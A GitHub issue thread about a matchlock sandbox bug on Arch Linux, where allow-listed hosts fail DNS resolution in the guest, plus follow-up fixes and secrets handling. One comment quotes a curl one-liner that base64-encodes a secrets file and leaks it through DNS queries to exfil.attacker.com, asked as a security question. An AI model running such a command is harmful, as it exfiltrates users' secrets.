`--allow-host` alone fails on Linux: DNS unreachable from guest

[nemtsov]

Hi — I've been running matchlock 0.2.8 on Arch and ran into something that looks like a bug around --allow-host on Linux. Writing it up in case it's useful; the diagnosis is tentative (I'm not an expert; exploring this with Claude Opus 4.6).

What I observed

Clean clone, git checkout v0.2.8 (f3f5bb8), go build ./cmd/matchlock ./cmd/guest-init. Arch Linux x86_64, Firecracker backend, kernel 6.16.7-arch1-1.

Manual repro:

$ matchlock run --image alpine:latest --allow-host httpbin.org -- \
    sh -c 'nslookup httpbin.org; wget -q -O - http://httpbin.org/get'
;; connection timed out; no servers could be reached
wget: bad address 'httpbin.org'

Inside the guest, /etc/resolv.conf points at 8.8.8.8/8.8.4.4, TCP/443 to raw IPs succeeds, UDP/53 times out, and /etc/hosts has no entry for the allowlisted name.

Running the affected acceptance tests against the same clean build:

MATCHLOCK_BIN=$PWD/bin/matchlock go test -tags acceptance -v ./tests/acceptance/ \
  -run 'TestAllowlistPermitsHTTP$|TestAllowlistPermitsHTTPS|TestAllowlistGlobPattern|TestAllowlistMultipleHosts|TestPassthroughAllowsPermittedHost|TestCustomDNSServersStillResolveDomains|TestSDKAddHostEtcHosts|TestDNSResolutionWorksWithInterception'

--- FAIL: TestAllowlistPermitsHTTP
--- FAIL: TestAllowlistPermitsHTTPS
--- FAIL: TestAllowlistGlobPattern
--- FAIL: TestAllowlistMultipleHosts
--- FAIL: TestPassthroughAllowsPermittedHost
--- FAIL: TestCustomDNSServersStillResolveDomains
--- PASS: TestSDKAddHostEtcHosts
--- PASS: TestDNSResolutionWorksWithInterception

All six failures share the shape "wget: bad address 'httpbin.org'" does not contain "\"url\"".

TestDNSResolutionWorksWithInterception passes despite the manual nslookup inside the guest printing ;; connection timed out; no servers could be reached. The assertion at tests/acceptance/network_test.go:445 checks that the nslookup output contains neither SERVFAIL nor can't resolve — neither substring matches the "connection timed out" line, so the assertion passes.

The test-linux job in .github/workflows/ci.yml runs unit tests only; the acceptance suite runs on the acceptance-linux self-hosted runner. I haven't reproduced there and don't know why these tests are green on it.

Workaround for manual use: pair --allow-host with --add-host <name>:192.0.2.1.

Possible root cause

Reading the source, a shape that seems consistent with what I saw:

• The Linux allowlist enforcement installs nftables DNAT on ports 80/443 (pkg/net/nftables.go); non-80/443 traffic appears to be routed to the pass-through deny added in Stricter networking #11, which would include UDP/53.
• guest-init doesn't seem to be told about allowlisted names, so /etc/hosts isn't populated from the allow-list.
• That would leave the guest with no path to turn a hostname into an IP, matching the bad address symptom.
• There's a gVisor UDP forwarder at pkg/net/stack_darwin.go:407 with a handleDNS path at :419; I didn't test on macOS, so I don't know whether the same failure reproduces there.

This is just a hypothesis from exploring the code with Claude.

Possible fix direction (high level)

(A) Populate /etc/hosts from the allow-list: synthesize a placeholder HostIPMapping for each concrete allow-host entry and reuse the existing AddHosts → guest-init plumbing.

(B) Alternative: host-side DNS forwarder mirroring handleDNS in stack_darwin.go, wired via nftables. I haven't explored this.

Happy to open a PR for (A). This approach worked for me in https://github.com/nemtsov/matchlock/tree/fix/allow-host-dns-resolution — ~54 lines in one file, unit tests pass, and the manual repro command above works end-to-end after it. All tests except TestAllowlistGlobPattern (which is a limitation of this approach) pass on that branch.

Environment

matchlock 0.2.8 (f3f5bb8) / Arch Linux x86_64 / kernel 6.16.7-arch1-1 / Firecracker v1.10.1.

[jingkaihe]

network cap and extra ip forward plumbing etc are need for the matchlock binary to work on linux.

To compile for local development please run mise run build && sudo ./bin/matchlock setup linux.

Let me know if it works for you!

[nemtsov]

Thanks, @jingkaihe ! mise run build && sudo ./bin/matchlock setup linux ran cleanly. Followed it end-to-end on a fresh clone at main@66f6c37, logged out/in for the group changes, re-ran the allow-list acceptance tests. The DNS issue still reproduces for me (did three back-to-back runs):

--- FAIL: TestAllowlistPermitsHTTP wget: bad address 'httpbin.org'
--- FAIL: TestAllowlistPermitsHTTPS wget: bad address 'httpbin.org'
--- FAIL: TestAllowlistGlobPattern wget: bad address 'httpbin.org'
--- FAIL: TestAllowlistMultipleHosts wget: bad address 'httpbin.org' / example.com

Repro:

./bin/matchlock run --image alpine:latest --allow-host httpbin.org -- wget -q -O - https://httpbin.org/get
# wget: bad address 'httpbin.org'

Environment:

• Arch Linux, kernel 6.16.7-arch1-1
• matchlock 0.2.8 @ 66f6c37 (main), built from source via mise run build
• Firecracker v1.10.1 at /usr/libexec/matchlock/firecracker (installed by setup linux)
• Go 1.25.8, nftables 1.1.6, libnftnl 1.3.0
• Binary caps after setup: cap_net_admin,cap_net_raw=ep
• Groups: yuriy docker kvm input wheel netdev (post-relogin)
• /dev/kvm: crw-rw-rw-, /dev/net/tun: crw-rw----

Should I try something else?

[jingkaihe]

Not off the top of my head, worth checking if dig +short @8.8.8.8 httpbin.org works?

Other than that I need to give Arch a spin in order to reproduce the issue.

In the meantime feel free to send a PR if you manage to find the smoking gun.

[nemtsov]

I've got two changes that fix this for me on arch. Not sure if this is the path you want to take, so just sharing as reference. But the first one is a dns-forwarder + network event persistence to a log file (I wanted a log of the failed network requests; so I can decide later on if I allowlist those). And another change that cleans up stale taps (to fix something I ran into testing this).

All acceptance tests pass with these, the network requests seem to be both blocked and logged as expected, so this seems to work for me. But again, Claude did most of the work here, so just sharing as a reference. Cheers.

[jingkaihe]

This reminds me of a similar issue from a while back that turned out to be related to Arch’s firewall behaviour: #23

The DNS-forwarding approach here is pretty neat. It looks like it DNATs guest UDP/53 to a local handler instead of forwarding queries upstream, so DNS no longer depends on the host’s forwarding path. If this is an Arch firewall-zone issue, that would explain why the change helps.

That said, it also seems to bypass the configured DNS resolvers entirely, which could introduce regressions. Alternatively we can run a small host-side DNS forwarder inside the matchlock process that forwards queries to the configured upstream resolvers instead of returning synthesised answers, which is close to how the macOS path works at the moment: https://github.com/jingkaihe/matchlock/blob/main/pkg/net/stack_darwin.go#L419-L455

Feel free to open a pr if that direction sounds good to you, otherwise I’m happy to take it from here!

[nemtsov]

@jingkaihe is there anything preventing DNS exfiltration with the host-side forwarder, via something like curl https://$(base64 /work/secrets.env | tr '+/=' '-_~' | fold -w60 | while read chunk; do echo "$chunk.exfil.attacker.com"; done | head -1)? (Or is the idea that anything inside isn't secure anyway and there shouldn't be any secrets in there?)

[jingkaihe]

With matchlock's secret replacement, this is not a concern as long as no real secrets are passed into the sandbox.

If someone runs a script like this against secret env var, they would exfiltrate the place holder that reads SANDBOX_SECRET_XXXX

[nemtsov]

Will leave these here for reference; I can easily make these into PRs if they look useful to you. These are passing acceptance tests and seem to work locally for me.

• feat/dns-forwarder — small host-side DNS forwarder
• feat/persist-network-events — event persistence (useful for figuring out what was blocked)
• fix/stale-tap-cleanup — tap cleanup

---

Btw, in case it's interesting, I've got a small script on top of these that I'm using, I cal claude-unsafe (more like quarantined; but unsafe is a good reminder):

~ ❯ claude-unsafe
usage: claude-unsafe {start|stop|status|shell|yolo|allow-hosts|network-log}

start kicks off the vm with my config (debian + claude installed); and yolo places you into claude inside the vm in yolo mode. It's helping a lot with the permissions fatigue. Thanks for writing this lib!

---

Last question: with my setup, I mount a new dir ~/.claude-unsafe-home:~ that has .claude/.credentials.json -- not ideal. Do you have any plans to support file secrets (e.g. something like --secret-file /host/path/credentials.json:/guest/path/credentials.json@api.example.com?) For this one, but also probably even more important for non-http protocols (e.g. ssh keys, tls client certs).

[jingkaihe]

@nemtsov I cherry picked your commit and raised #96 let me know if it works for you.

also great to hear that you find matchlock useful. In regard to the --secret-file feature you proposed, it is useful but very tricky to implement as the current secret placeholder approach can't handle jwt (really anything that requires verification in the guest space) or token refresh nicely. But again, if you have any brilliant ideas feel free to raise a PR.

For your claude code use case (I suppose it's Claude subscription?) I'd suggest trying auth using the host space interception feature - https://github.com/jingkaihe/matchlock/blob/main/examples/python/network_interception/main.py

[jingkaihe]

@nemtsov this should roughly do what you described https://github.com/jingkaihe/matchlock/tree/main/examples/claude-danger

[nemtsov]

I love it, @jingkaihe ! Didn't realize you can add programmatic interceptors; makes perfect sense for the refresh token.

Playing with it, I wanted to give it a project dir --project-dir from the host and a way to persist/resume sessions with --claude-home. Got both of those here if you want them.

Btw, I ran into that stale TAP interface being left behind from a previous VM crash (where Close() failed mid-cleanup, possibly) issue again. Had to sudo ip link delete fc-<old-id> to fix it.

[jingkaihe]

for the 'stale' TAP - it is simply because the vms are left over. matchlock rm --stopped is expected to wipe them off

you can also matchlock gc to tidy up leaked vm resources